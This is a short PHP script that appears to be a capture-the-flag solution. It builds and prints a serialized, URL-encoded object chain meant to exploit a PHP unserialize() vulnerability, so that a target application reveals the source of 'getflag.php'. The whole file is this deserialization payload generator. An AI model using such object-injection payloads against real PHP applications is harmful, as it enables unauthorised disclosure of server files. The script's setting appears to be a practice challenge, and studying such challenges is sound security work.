<?php
error_reporting(0);
class begin{
    public $file;
    public $mode;
    public $content;
    public $choice;
    public function __construct($obj)
    {
        $this->file = "getflag.php";
        $this->content = "content";
        $this->mode=$obj;
    }
    function __wakeup(){}
    function __call($file,$content) {
        highlight_file($this->file);
    }
    function __destruct(){}
}

$demo = new begin('');
$demo->choice=new begin('');

echo serialize($demo).PHP_EOL;
echo urlencode(serialize($demo)).PHP_EOL;